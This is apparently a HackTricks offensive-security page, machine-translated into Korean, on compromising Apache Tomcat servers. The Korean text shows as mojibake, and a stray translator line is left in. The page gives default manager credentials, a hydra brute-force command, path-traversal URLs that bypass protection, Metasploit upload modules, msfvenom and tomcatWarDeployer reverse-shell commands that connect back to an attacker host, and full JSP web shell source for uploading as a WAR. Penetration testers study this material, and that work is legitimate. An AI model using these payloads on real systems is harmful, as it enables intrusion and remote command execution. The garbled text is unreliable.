Tomcat
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Discovery
- ์ผ๋ฐ์ ์ผ๋ก ํฌํธ 8080์์ ์คํ๋ฉ๋๋ค.
- ์ผ๋ฐ์ ์ธ Tomcat ์ค๋ฅ:
.png)
Enumeration
๋ฒ์ ์๋ณ
Apache Tomcat์ ๋ฒ์ ์ ์ฐพ๊ธฐ ์ํด ๊ฐ๋จํ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
์ด๊ฒ์ ๋ฌธ์ ์ธ๋ฑ์ค ํ์ด์ง์์ โTomcatโ์ด๋ผ๋ ์ฉ์ด๋ฅผ ๊ฒ์ํ์ฌ HTML ์๋ต์ ์ ๋ชฉ ํ๊ทธ์์ ๋ฒ์ ์ ๋๋ฌ๋ ๋๋ค.
๋งค๋์ ํ์ผ ์์น
/manager ๋ฐ /host-manager ๋๋ ํ ๋ฆฌ์ ์ ํํ ์์น๋ฅผ ์๋ณํ๋ ๊ฒ์ ์ค์ํฉ๋๋ค. ์ด๋ฆ์ด ๋ณ๊ฒฝ๋ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ์ด๋ฌํ ํ์ด์ง๋ฅผ ์ฐพ๊ธฐ ์ํด ๋ฌด์ฐจ๋ณ ๋์
๊ฒ์์ ๊ถ์ฅํฉ๋๋ค.
์ฌ์ฉ์ ์ด๋ฆ ์ด๊ฑฐ
Tomcat 6๋ณด๋ค ์ด์ ๋ฒ์ ์์๋ ๋ค์์ ํตํด ์ฌ์ฉ์ ์ด๋ฆ์ ์ด๊ฑฐํ ์ ์์ต๋๋ค:
msf> use auxiliary/scanner/http/tomcat_enum
๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช
/manager/html ๋๋ ํ ๋ฆฌ๋ WAR ํ์ผ์ ์
๋ก๋ ๋ฐ ๋ฐฐํฌ๋ฅผ ํ์ฉํ๋ฏ๋ก ํนํ ๋ฏผ๊ฐํฉ๋๋ค. ์ด ๋๋ ํ ๋ฆฌ๋ ๊ธฐ๋ณธ HTTP ์ธ์ฆ์ผ๋ก ๋ณดํธ๋๋ฉฐ, ์ผ๋ฐ์ ์ธ ์๊ฒฉ ์ฆ๋ช
์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
์ด ์๊ฒฉ ์ฆ๋ช ์ ๋ค์์ ์ฌ์ฉํ์ฌ ํ ์คํธํ ์ ์์ต๋๋ค:
msf> use auxiliary/scanner/http/tomcat_mgr_login
๋ ๋ค๋ฅธ ์ฃผ๋ชฉํ ๋งํ ๋๋ ํ ๋ฆฌ๋ **/manager/status**๋ก, Tomcat ๋ฐ OS ๋ฒ์ ์ ํ์ํ์ฌ ์ทจ์ฝ์ ์๋ณ์ ๋์์ ์ค๋๋ค.
๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
๊ด๋ฆฌ์ ๋๋ ํ ๋ฆฌ์ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ ์๋ํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Common Vulnerabilities
Password Backtrace Disclosure
/auth.jsp์ ์ ๊ทผํ๋ฉด ์ด์ด ์ข์ ๊ฒฝ์ฐ ๋ฐฑํธ๋ ์ด์ค์์ ๋น๋ฐ๋ฒํธ๊ฐ ๋
ธ์ถ๋ ์ ์์ต๋๋ค.
Double URL Encoding
mod_jk์ CVE-2007-1860 ์ทจ์ฝ์ ์ ์ด์ค URL ์ธ์ฝ๋ฉ ๊ฒฝ๋ก ํ์์ ํ์ฉํ์ฌ, ํน๋ณํ ์ ์๋ URL์ ํตํด ๊ด๋ฆฌ ์ธํฐํ์ด์ค์ ๋ฌด๋จ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Tomcat์ ๊ด๋ฆฌ ์น์ ์ ๊ทผํ๋ ค๋ฉด ๋ค์์ผ๋ก ์ด๋ํ์ญ์์ค: pathTomcat/%252E%252E/manager/html
/examples
Apache Tomcat ๋ฒ์ 4.x์์ 7.x๊น์ง๋ ์ ๋ณด ์ ์ถ ๋ฐ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS) ๊ณต๊ฒฉ์ ์ทจ์ฝํ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํ๊ณ ์์ต๋๋ค. ์ด๋ฌํ ์คํฌ๋ฆฝํธ๋ ํฌ๊ด์ ์ผ๋ก ๋์ด๋์ด ์์ผ๋ฉฐ, ๋ฌด๋จ ์ ๊ทผ ๋ฐ ์ ์ฌ์ ์ ์ฉ ์ฌ๋ถ๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค. ์์ธํ ์ ๋ณด๋ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Path Traversal Exploit
์ผ๋ถ ์ทจ์ฝํ Tomcat ๊ตฌ์ฑ์์๋ ๊ฒฝ๋ก /..;/๋ฅผ ์ฌ์ฉํ์ฌ Tomcat์ ๋ณดํธ๋ ๋๋ ํ ๋ฆฌ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, www.vulnerable.com/lalala/..;/manager/html์ ์ ๊ทผํ์ฌ Tomcat ๊ด๋ฆฌ์ ํ์ด์ง์ ์ ๊ทผํ ์ ์์ ๊ฒ์
๋๋ค.
๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ์ด ํธ๋ฆญ์ ์ฌ์ฉํ์ฌ ๋ณดํธ๋ ๊ฒฝ๋ก๋ฅผ ์ฐํํ๋ ๊ฒ์ด๋ฉฐ, http://www.vulnerable.com/;param=value/manager/html์ ์ ๊ทผํ๋ ๊ฒ์
๋๋ค.
RCE
๋ง์ง๋ง์ผ๋ก, Tomcat ์น ์ ํ๋ฆฌ์ผ์ด์ ๊ด๋ฆฌ์ ์ ๊ทผํ ์ ์๋ค๋ฉด, .war ํ์ผ์ ์ ๋ก๋ํ๊ณ ๋ฐฐํฌํ ์ ์์ต๋๋ค (์ฝ๋ ์คํ).
Limitations
์ถฉ๋ถํ ๊ถํ(์ญํ : admin, manager ๋ฐ manager-script)์ด ์๋ ๊ฒฝ์ฐ์๋ง WAR๋ฅผ ๋ฐฐํฌํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ธ๋ถ์ ๋ณด๋ ์ผ๋ฐ์ ์ผ๋ก /usr/share/tomcat9/etc/tomcat-users.xml์ ์ ์๋ _tomcat-users.xml_์์ ์ฐพ์ ์ ์์ต๋๋ค(๋ฒ์ ๋ง๋ค ๋ค๋ฅผ ์ ์์) (์์ธํ ๋ด์ฉ์ POST section์ ์ฐธ์กฐํ์ญ์์ค).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
๋ฉํ์คํ๋ก์
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- ๋ฐฐํฌํ war ํ์ผ ์์ฑ:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
revshell.warํ์ผ์ ์ ๋ก๋ํ๊ณ ์ ๊ทผํฉ๋๋ค (/revshell/):
tomcatWarDeployer.py๋ฅผ ์ด์ฉํ ๋ฐ์ธ๋ ๋ฐ ๋ฆฌ๋ฒ์ค ์ ธ
์ผ๋ถ ์๋๋ฆฌ์ค์์๋ ์ด ๋ฐฉ๋ฒ์ด ์๋ํ์ง ์์ต๋๋ค (์: ๊ตฌ๋ฒ์ ์ sun)
๋ค์ด๋ก๋
git clone https://github.com/mgeeky/tomcatWarDeployer.git
๋ฆฌ๋ฒ์ค ์ ธ
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
๋ฐ์ธ๋ ์ ธ
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Using Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
์๋ ๋ฐฉ๋ฒ - ์น ์ ธ
index.jsp๋ฅผ ๋ค์ content๋ก ์์ฑํฉ๋๋ค:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
์ด๊ฒ์ ์ค์นํ ์๋ ์์ต๋๋ค (์ ๋ก๋, ๋ค์ด๋ก๋ ๋ฐ ๋ช ๋ น ์คํ์ ํ์ฉํฉ๋๋ค): http://vonloesch.de/filebrowser.html
Manual Method 2
JSP ์น ์ ธ๊ณผ ๊ฐ์ ๊ฒ์ ๊ฐ์ ธ์ WAR ํ์ผ์ ์์ฑํฉ๋๋ค:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Tomcat ์๊ฒฉ ์ฆ๋ช
ํ์ผ์ ์ด๋ฆ์ tomcat-users.xml์ด๋ฉฐ, ์ด ํ์ผ์ tomcat ๋ด์์ ์ฌ์ฉ์์ ์ญํ ์ ๋ํ๋
๋๋ค.
find / -name tomcat-users.xml 2>/dev/null
Please provide the text you would like me to translate.
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
๋ค๋ฅธ ํฐ์บฃ ์ค์บ๋ ๋๊ตฌ
์ฐธ๊ณ ๋ฌธํ
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


